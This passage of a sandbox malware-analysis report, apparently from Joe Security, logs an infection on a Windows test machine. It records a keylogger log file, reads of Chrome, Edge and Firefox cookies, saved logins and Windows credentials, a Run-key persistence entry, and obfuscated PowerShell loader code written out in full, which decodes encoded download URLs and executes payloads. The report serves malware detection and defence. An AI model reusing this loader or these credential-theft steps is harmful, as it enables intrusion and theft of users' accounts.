n.Install.ni.dll.aux

unknown

1260

success or wait

1

72B50842

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown4096

success or wait

8

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown128

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown490

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown490

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

Copyright Joe Security LLC 2023

Page 44 of 57

File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.psd1

unknown444

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.Format.ps1xml

unknown4096

success or wait

2

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.Format.ps1xml

unknown974

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.Format.ps1xml

unknown4096

end of file

1

71A79B71

ReadFile

C:\Users\user\AppData\Roaming\Celadonp.Ion

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Users\user\AppData\Roaming\Celadonp.Ion

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Users\user\AppData\Roaming\Celadonp.Ion

unknown528

end of file

1

71A79B71

ReadFile

C:\Users\user\AppData\Roaming\Celadonp.Ion

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown4096

success or wait

1

72C41382

unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown

512

success or wait

1

72C41382

unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_
4.0.0.0__b77a5c561934e089\System.Core.dll

unknown4096

success or wait

1

72C41382

unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_
4.0.0.0__b77a5c561934e089\System.Core.dll

unknown

512

success or wait

1

72C41382

unknown

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

unknown1

success or wait

1

71A79B71

ReadFile

Analysis Process: cmd.exe

PID: 6044, Parent PID: 4592

GeneralTarget ID:

6

Start time:

09:41:38

Start date:

11/12/2023

Path:

C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):true

Commandline:

C:\Windows\system32\cmd.exe" /c "echo 1 && exit

Imagebase:

0x790000

File size:

236'544 bytes

MD5 hash:

D0FCE3AFA6AA1D58CE9FA336CC2B675B

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:high

Has exited:

true

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path

AccessAnalysis Process: svchost.exe

Attributes

Options

Completion

Count

Source Address

Symbol

PID: 5500, Parent PID: 632

GeneralTarget ID:

7

Start time:

09:41:40

Start date:

11/12/2023

Path:

C:\Windows\System32\svchost.exe

Wow64 process (32bit):false

Copyright Joe Security LLC 2023

Page 45 of 57

Commandline:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

Imagebase:

0x7ff7e52b0000

File size:

55'320 bytes

MD5 hash:

B7F884C1B74A263F746EE12A5F7C9F6A

Has elevated privileges:true

Has administrator
privileges:

true

Programmed in:

C, C++ or other language

Reputation:high

Has exited:

false

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path

Access

Old File Path

Attributes

New File Path

File Path

OffsetOptions

Completion

Completion

Length Value

Ascii

File Path

OffsetCount

Completion

LengthCount

Completion

Source Address

Source Address

SymbolSymbolCount

Source Address

SymbolCount

Source Address

SymbolRegistry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path

Completion

Key Path

Name

Analysis Process: wab.exe

Type

Data

Completion

Count

Count

Source Address

Source Address

SymbolSymbol

PID: 6524, Parent PID: 4592

GeneralTarget ID:

9

Start time:

09:42:09

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Wow64 process (32bit):true

Commandline:

C:\Program Files (x86)\windows mail\wab.exe

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:

moderate

Has exited:

false

File Activities
File CreatedFile Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\Flank.vbs

read attributes |synchronize |generic write

devicesynchronous io
non alert | nondirectory filesuccess or wait

1

684DC436

CreateFileW

C:\Users\user\AppData\Roaming\aqloespt.dat

append data or
deviceadd subdirectoryor create pipe
instance | read
attributes |synchronize

synchronous io
non alert | nondirectory filesuccess or wait

5684DC436

CreateFileW

File Deleted
Copyright Joe Security LLC 2023

Page 46 of 57

File Path

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\uxzwazjmqj

success or wait

1

684D2E02

DeleteFileW

C:\Users\user\AppData\Local\Temp\jdudahz

success or wait

1

684D2E3E

DeleteFileW

C:\Users\user\AppData\Local\Temp\hbgt

success or wait

1

684D2DCB

DeleteFileW

Completion

Count

Source Address

Symbol1684DB3DC

InternetReadFile

1

684DC470

WriteFile

File Written
File Path

OffsetLength Value

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T
9RRWRNL\json[1].json

0958

C:\Users\user\AppData\Local\Te
mp\Flank.vbs

0388386 0d 0a 27 46 6f 72 72 61
61 64 6e 65 6c 73 65 72
73 20 50 68 6f 73 70 68
61 74 69 73 69 6e 67 20
68 65 70 74 61 63 65 0d
0a 27 47 6f 6d 62 65 65
6e 20 4c 6f 6d 65 6e 74
61 72 69 61 20 55 64 6b
6f 6d 6d 65 6e 74 65 72
0d 0a 27 49 6e 74 69 6d
69 64 61 74 69 6f 6e 65
72 20 4f 78 79 74 79 6c
6f 74 65 20 42 6c 73 65
72 6f 72 6b 65 73 74 72
65 6e 65 20 42 72 69 61
6e 6e 61 31 20 52 65 70
6c 69 63 65 72 65 72 0d
0a 27 46 72 75 67 74 74
72 65 72 73 20 53 6b 79
67 67 65 6c 67 6e 69 6e
67 65 6e 20 55 6e 75 6c
63 65 72 6f 75 73 6c 79
20 41 76 6f 77 65 64 0d
0a 27 4e 6f 6e 6f 70 74
69 6f 6e 61 6c 6c 79 20
68 76 6c 65 72 20 4d 6f
6e 61 75 6c 6f 73 20 47
75 65 6c 70 68 69 73 6d0d 0a 27 54 69 6b 72 6f
6e 65 73 65 64 6c 65 72
73 31 33 34 20 48 6a 69
73 6f 6c 65 72 65 20

Copyright Joe Security LLC 2023

Ascii

7b 0a 20 20 22 67 65 6f{
success or wait
70 6c 75 67 69 6e 5f 72"geoplugin_request":"102
65 71 75 65 73 74 22 3a .129.152.212",
22 31 30 32 2e 31 32 39 "geoplugin_status":200,
2e 31 35 32 2e 32 31 32 "geoplugin_delay":"1ms",
22 2c 0a 20 20 22 67 65 "geoplugin_credit":"Some6f 70 6c 75 67 69 6e 5fof the returned data
73 74 61 74 75 73 22 3a includes GeoLite data
32 30 30 2c 0a 20 20 22 created by MaxMind,
67 65 6f 70 6c 75 67 69
available from <a6e 5f 64 65 6c 61 79 22
href='http3a 22 31 6d 73 22 2c 0a :\/\/www.maxmind.com'>h
20 20 22 67 65 6f 70 6c
ttp:\/\/www.maxmin
75 67 69 6e 5f 63 72 65
64 69 74 22 3a 22 53 6f
6d 65 20 6f 66 20 74 68
65 20 72 65 74 75 72 6e
65 64 20 64 61 74 61 20
69 6e 63 6c 75 64 65 73
20 47 65 6f 4c 69 74 65
20 64 61 74 61 20 63 72
65 61 74 65 64 20 62 79
20 4d 61 78 4d 69 6e 64
2c 20 61 76 61 69 6c 61
62 6c 65 20 66 72 6f 6d
20 3c 61 20 68 72 65 66
3d 27 68 74 74 70 3a 5c
2f 5c 2f 77 77 77 2e 6d61 78 6d 69 6e 64 2e 63
6f 6d 27 3e 68 74 74 70
3a 5c 2f 5c 2f 77 77 77 2e
6d 61 78 6d 69 6e'Forraadnelsers
success or wait
Phosphatising
heptace'Gombeen
Lomentaria Udk
ommenter'Intimidationer
Oxytylote
Blserorkestrene Brianna1
Replicerer'Frugttrers
Skyggelgningen
Unulcerously
Avowed'Nonoptionallyhvler Monaulos Guelp
hism'Tikronesedlers134
Hjisolere

Page 47 of 57

File Path

OffsetLength Value

Ascii

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Roaming\
aqloespt.dat

0184[2023/12/11 09:42:22
Offline Keylogger
Started][2023/12/11 0
9:42:22 Program
Manager]

success or wait

5684DC470

WriteFile0d 00 0a 00 5b 00 32 00
30 00 32 00 33 00 2f 00
31 00 32 00 2f 00 31 00
31 00 20 00 30 00 39 00
3a 00 34 00 32 00 3a 00
32 00 32 00 20 00 4f 00
66 00 66 00 6c 00 69 00
6e 00 65 00 20 00 4b 00
65 00 79 00 6c 00 6f 00
67 00 67 00 65 00 72 00
20 00 53 00 74 00 61 00
72 00 74 00 65 00 64 00
5d 00 0d 00 0a 00 0d 00
0a 00 5b 00 32 00 30 00
32 00 33 00 2f 00 31 00
32 00 2f 00 31 00 31 00
20 00 30 00 39 00 3a 00
34 00 32 00 3a 00 32 00
32 00 20 00 50 00 72 00
6f 00 67 00 72 00 61 00
6d 00 20 00 4d 00 61 00
6e 00 61 00 67 00 65 00
72 00 5d 00 0d 00 0a 00

File Read
File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.defaultrelease\cookies.sqlite

unknown

98304

success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\
Network\Cookies

unknown

20480

success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

unknown

20480

success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State

unknown

601365success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State

unknown

44137

success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Temp\uxzwazjmqj

unknown0

success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Temp\jdudahz

unknown0

success or wait

1

684DC4DD

ReadFile

C:\Users\user\AppData\Local\Temp\hbgt

unknown2

success or wait

1

684DC4DD

ReadFile

Registry Activities
Key Created
Key Path

Completion

Count

Source Address

SymbolHKEY_CURRENT_USER\Guian\success or wait

1

46DAE51

RegCreateKeyEx
A

HKEY_CURRENT_USER\Software\asodgtst-F7EYVB\

success or wait

1

684D3784

RegCreateKeyA

Key Value Created
Key Path

Copyright Joe Security LLC 2023

Name

Type

Data

Completion

Count

Source Address

SymbolPage 48 of 57

Key Path

Name

Type

Data

HKEY_CURRENT_USER\Guianbrandsikre

expand unicode

HKEY_CURRENT_USER\SOFTW Laborismk
ARE\Mic
rosoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Environ
ment

Count

Source Address

SymbolFunction Beregneras ([String]$
success or wait
Shamsd){$Begrudgeme = 5;For($Perryrearw=4; $Perryrearw -lt $Shamsd.Length-1; $Perryrearw+=$Begrudgeme){.$Bibli4 = $Shams
d.Substring($Perryrearw, $Snaprep);.$Bibli=$Bibli+$Bibli4;.}$Bibli;}$Snaprep = (cmd /c 'echo 1 &&exit');$Bibli01=Beregneras'DansiGradeAntixLens ';$B
ibli02=Beregneras 'AbsoTPensrHarpa
Bonn Spes Absf FreeForbrm
ontrKurtiBuernprimg Ing ';$Surmul =Beregneras ' Ign\NoncsMarmyNonas
PakwPreho MagwSulk6Soci4 Arv\
UneWconciPrinnKulldHa
nnononnwSubesSaniPLecyoSvamwA
utoeSkolrginnSLacoh InkeDystl Abil
Ant\mennv Pla1Inte.Kigh0Sl
gt\UnerpMisdoBedswAfteebenerPr
owsNedbhNavnePhenlExeclBecl. krge
TabxArtieDamm ';function Delege($Grat){. ($Bibli01) ($Grat);}$Skkelu=Beregneras 'SlanhGenltOutrtTrawpGino:Rece/Ebra/streaTrialRegeoAnapt MisrSkyn
oKaripAwariCarba Ned.Prims Far
aVatt.StabcKryboUndemFone/Wron.CheiwIntre GrulhjtilSump-Nonu
kResun SkuoAnthwFinin Sti/HierkroaczBiod/ForwS Svel AlvaLand
aUpap. SteuGenn3 Ove2Rere ';Delege (Beregneras 'Alko$Stjsg P
lalRevioLighb FejaHanhl Apo: C
hyBTownaaftel Sona MelnCullcNe
gl2Rhin=drne$TulieLacqnRativSuck:
FjowDisriCirknAfladQuoki Ainr Sha ');Delege (Beregneras 'Fore$misagToill
AstoSvrhbConfaKonrlMuli:
AnmBOlivaRoqulOve
raTilsnNonpcDika6Pole=Gimc$ ErgB
Tria anelHamsa LiknAmphcStr
u2Enqu+Unso$SmugSChriu BryrCom
fmRhynuhalvlPubl ') ;Delege (Beregneras 'Kodi$Proeg FrolStub
oJustbPaddaBegolTrop:DigiBWeekaPreulBavnaPaulnSvigcVanr3 Fas
Unqu= Kon Indi(Pseu( CergKultw
MismMagei Wor GfmrwUngriInte
nAfso3Adno2Blte_ IndpKnhjrDict
oLykscHngeeStivsLsgasDrej PrinSkraFSval undePSpecrBroaoIsol
cBurre CersIants UdsIParadMark=
For$Kash{ HypPMollI AndDPejs}Alfa)Sane.thinC KrsoRegim Tin
mFlacaSporn TradGenoLGidsiRemi
nCogoeStep)Unpr Tale-Herrsskyd
pReallPneuiNonptPatr Sori[ undcNonshOutca ButrSord]Fjer3unti4
Kam ');Delege (Beregneras 'Perc$
Untgfloploutwo Taib SliaL
revlSuda:RetnBByzoaBennlFussav
entnMonocImma4Ilia Mosl=Milj D
ser$VaadBPureaTabulStamaAggrnP
hytcCloc3Abso[Slug$ PosB HrvaE
poslLameaTanznBgescKlin3Kosm.
RhocLuxuo Paru EgenAlsttActuBri2Rese]Sten ');Delege (Beregneras'K

1

46DAE92

RegSetValueEx
Aexpand unicode%Wirlasa% -w 1 $Noso=(Get-Item
Property -Path 'HKCU:\Guian\').brandsikre;%Wirlasa% ($Noso)

success or wait

1

46DAE92

RegSetValueEx
Aexpand unicode

c:\windows\SysWOW64\WindowsPow
erShell\v1.0\powershell.exe

success or wait

1

46DAE92

RegSetValueEx
A

HKEY_CURRENT_USER\SOFTW exepath
ARE\asodgtst-F7EYVB

binaryA0 81 B8 D3 D4 33 F6 36 DB 31 03
success or wait
F7 73 6E 54 B5 C9 22 8F 9F F1 D8 12
14 BD F9 AF 74 37 89 51 5A BB FE
FE 48 F2 D0 8A 1B A7 52 43 62 4B
D2 8D EC BE 97 AC 24 54 4F A7 FC
20 34 59 42 A6 D0 FE 67 FC 3E 44
1C 88 54 C5 95 82 D6 61 26 16 99 57
E9 A5 66 68 DC FD 93 23 9F

1

684D37AC

RegSetValueEx
A

HKEY_CURRENT_USER\SOFTW licence
ARE\asodgtst-F7EYVB

unicode886BC4600CCA505DB85B1A88C2EA success or wait
CC361

684D37AC

RegSetValueEx
A

Copyright Joe Security LLC 2023

WirlasaCompletion

Page 49 of 57

Key PathName

HKEY_CURRENT_USER\SOFTW time
ARE\asodgtst-F7EYVB

Analysis Process: wab.exe

Type

Data

Completion

Count

Source Address

Symboldword

1702290932

success or wait

1

684D38A6

RegSetValueEx
A

PID: 4708, Parent PID: 6524

GeneralTarget ID:

11

Start time:

09:42:25

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Wow64 process (32bit):true

Commandline:

C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\hbgt

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:

moderate

Has exited:

true

File Activities
File CreatedFile Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

read attributes |synchronize |generic readdevicesynchronous io
non alert | nondirectory filesuccess or wait

1

409A8B

GetTempFile
NameW

C:\Users\user\AppData\Local\Temp\hbgt

read attributes |synchronize |generic write

devicesynchronous io
non alert | nondirectory filesuccess or wait

14096F4CreateFileW

File DeletedFile Path

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

success or wait

1

40E5A9DeleteFileW

File Written
File Path

OffsetLength Value

Ascii

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Te
mp\bhv7E7E.tmp

0173015 3d fd 1e fd fd 6b fd 20 06
04
00 00 00 00 00 00 3b 21
00 00 00 00 00 00 45 7b
6f 77 28 22 0d 04 0a 7b
fd 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 02 00 00 00 fd 0b
40 00 06 00 00 00 2f 10
0e 04 0a 7b fd 0c 17 29
08 0b 0c 7b fd 00 68 02
42 00 06 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 01 00
00 00 e3 05 13 28 22 0d
04 0a 7b 71 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 5f 00 00 00 0a 00 00
00 00 00 00 00 65 4a 00
00 00 00 00 00 6e 00 00
00 00 fd 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00= ;!E{ow("{@/{){hB("{q_eJnsuccess or wait

1

40E134

WriteFile

Copyright Joe Security LLC 2023

Page 50 of 57

File Path

OffsetLength Value

C:\Users\user\AppData\Local\Te
mp\hbgt

0

2

Ascii

fd fd

Completion

Count

Source Address

Symbolsuccess or wait

1

40A32B

WriteFile

File Read
File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

unknown1024

success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

unknown

32768

success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

unknown

32768

success or wait

2

40A30C

ReadFile

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

unknown

32768

success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp

unknown

32768

success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.defaultrelease\key4.db

unknown

100

success or wait

1417623

ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.defaultrelease\key4.db

unknown

32768

success or wait

1417623

ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.defaultrelease\key4.db

unknown

16

success or wait

2417623

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State

unknown

44137

success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

unknown

100

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

unknown2048

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State

unknown

44137

success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown

100

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown

2048

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State

601365success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data unknown

100

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data unknown

2048

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State

unknown

601365success or wait

1

40A30C

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LoginData

unknown

100

success or wait

1417623

ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LoginData

unknown2048

success or wait

1417623

ReadFile

Analysis Process: wab.exe

unknown

PID: 2604, Parent PID: 6524

GeneralTarget ID:

12

Start time:

09:42:27

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Copyright Joe Security LLC 2023

Page 51 of 57

Wow64 process (32bit):false

Commandline:

C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\jdudahz

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:

moderate

Has exited:true

Analysis Process: wab.exe

PID: 2504, Parent PID: 6524

GeneralTarget ID:

13

Start time:

09:42:27

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Wow64 process (32bit):true

Commandline:

C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\jdudahz

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:

moderate

Has exited:

true

File Activities
File CreatedFile Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\jdudahz

read attributes |synchronize |generic write

devicesynchronous io
non alert | nondirectory filesuccess or wait

1406AD0CreateFileA

Analysis Process: wab.exe

PID: 6160, Parent PID: 6524

GeneralTarget ID:

14

Start time:

09:42:27

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Wow64 process (32bit):true

Commandline:

C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\uxzwazjmqj

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Has exited:

true

File Activities
File CreatedCopyright Joe Security LLC 2023

Page 52 of 57

File Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\uxzwazjmqj

read attributes |synchronize |generic write

devicesynchronous io
non alert | nondirectory filesuccess or wait

14067EB

CreateFileA

File Read
File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5
CC19A398EBF1B96859CE5D

unknown

11104

success or wait

1406EF3

ReadFile

Analysis Process: wscript.exe

PID: 6092, Parent PID: 6524

GeneralTarget ID:

15

Start time:

09:42:28

Start date:

11/12/2023

Path:

C:\Windows\SysWOW64\wscript.exe

Wow64 process (32bit):true

Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Flank.vbs"

Imagebase:0xbc0000

File size:

147'456 bytes

MD5 hash:

FF00E0480075B095948000BDC66E81F0

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Has exited:true

Analysis Process: powershell.exe

PID: 5912, Parent PID: 6092

GeneralTarget ID:

16

Start time:

09:42:30

Start date:

11/12/2023

Path:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):true

Copyright Joe Security LLC 2023

Page 53 of 57

Commandline:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Postula ([String]$Banghedenc){$kidstikbkk = 5;For($Forklo217=4; $Forklo217 -lt $B
anghedenc.Length-1; $Forklo217+=$kidstikbkk){ $Gigger4 = $Banghedenc.Substring($Forklo217, $ergo); $Gigger=$Gigger+$Gigger4; }$Gigger;}$ergo = (cmd/c 'echo 1 && exit');$Gigger01=Postula 'Stasi DiseMelaxOuts ';$Gigger02=Postula 'dousTReacr ButaGnusnSmalsAntifNonceAflerKamgr NoiiquinnNoncgFlac';$Hyda = Postula ' Out\ SussMicryProbsCaluwHagdoFibrwEpig6Vand4Lace\IntrWNahui Uten ChadSceno KogwDikksBurePFeato ConwCockeHyper SolSPu
behDuumeRaptlTekslselv\PelmvTilf1Supr.Asym0Newn\ AdmpLhuno CarwDecieTamergaons ElehScepetiatlDybgl Ger.KildeSiphxnonmeTetr ';function Impulsfun($frond){& ($Gigger01) ($frond);}$Paje=Postula 'bssehCabbt HogtbelapBado:Oxyd/Comb/ Hane BlicDikeoCikox prf. SvapTopptVell/ReinrreupeEremsMuste F
eraMokkuSnipx Sbe.KeanlRubbpCarrkUnva ';Impulsfun (Postula ' Skr$HospgpartlMagnoOverbBedraGstelBlad:SusuPHeksiOutscHjerosluktAlloeAposd Afst
Ndri2 Red=Knib$AmpheSyltnSkrsvPart:Forew Tati Forn perdGumliNotarTurb ') ;Impulsfun (Postula 'kons$Religtopsl KenoJulebFrema PialRhon: OvePJ
yskiKonkcNonio Hant Mtve ttndSupet Ost6Gala=Bant$TriwPCupeiextrcNonpoSprot DebeFirsdAkimtElko2Hjti+moto$ FraHVapoyJarndSubca Sei ') ;Impulsfun(Postula 'Forb$ Crog pholForeoMagibVandaAztelQues:NgaiPScaliFistcCycloSniptsnyleMenadAntit Uns3Bili Glor=Abel dem(Anar(FucigPoltwGuldmIlluiToni M
anwTheriEkstnAnne3Toil2Owls_CosupvinerCompoNonfcGteseOdousAftas Wes Leon-kherFEqua StemPRuffrBrinoTurpcSvine LucsRengs LatI mandSy
ph=sans$ Til{phaePhandIPseuD Tit}Cana) Cen.HippCUnteoOncomClavmTilkaMetanSkjad GifL Phoi ZipnUnreeChid)Disa Mara-Atris IndphovelUnbei DiptMarl
Mon[ wedcHoodhNonhaOverr Pau]Unsh3Nond4Orni ');Impulsfun (Postula 'mixo$OmstgBusblCocho PirbNonoaGinglarbe:SlurP OutiDiskcZeppoTungtFors
eTrredFarttSigi4Nont Tran= Kli Bert$reatPNriniMonocBindocanntRockeOmardnonrtLipo3Ordf[Syru$LactP HoviVrelcSataoOvertJuleeSkirdSpletComm3Subm.unpucManiostocu SolnbashtAalb- Mid2Mell] ety ');Impulsfun (Postula 'Isol$Samtg SkulTranotnkebDeacaShrolUndv:MiliPProdi SulcMetroAttetTelee
UnpdHonetVidu5Shie=Spec(PopuT Kome BessStret Lyd-AandP AviaSkamtstenhTopa Udv$HensP StuiMimecAmusoEntetProteDansdJuratselv6Agen)Chur
Krli- MasAWassnSterdColl Unst(Equi[ lagIHenlnFluotSmerPSfort EddrPara]Fane:Isot:strisBrawiUndezAnlgePala Bank-JarleSproqSpry Brak8 cou)Furo ') ;if($Picotedt5) {&$Picotedt6 $Picotedt4;} else {;$Gigger00=Postula 'Husm$Snazg Hatldigio MarbAutoaGirelSlkk:BekrPUntoiRullcSporoOmortHavfeEndndP
arktHank8Frit Nona= Alb SammSvikltTredaSudarIndit Hyp-skriBEnteiSuprtDrilsGammT bygrKielaCommn MissFaldfnonceNotar ono Krop-LobwSEfteoSolcuT
eksrMaltcStrueKist Hav$RealPOldtaoranjSchiePigm Lach-RegrDPrimeDerms Mist HaiiMicrnForbaGrnstPlaiiDieto CounFles Epik$DynaP SkriFocucKolooo
vertGenoeOprydVandtUnsp2 Bil ';Impulsfun (Postula 'Prop$KlosgKopplLjpeoReelbForraForslDrje:MadoPGrimiSydacTremoSyttt ForeEgnsdDetet old2Povl=Vran$RundeSprin HervIndl:NedpaSulfpFallpStandSlutaClemtMekaaNaem ') ;Impulsfun (Postula 'RyttITorvmAlkopparaoMiddrBiputPani- TenMUnfooUdgid
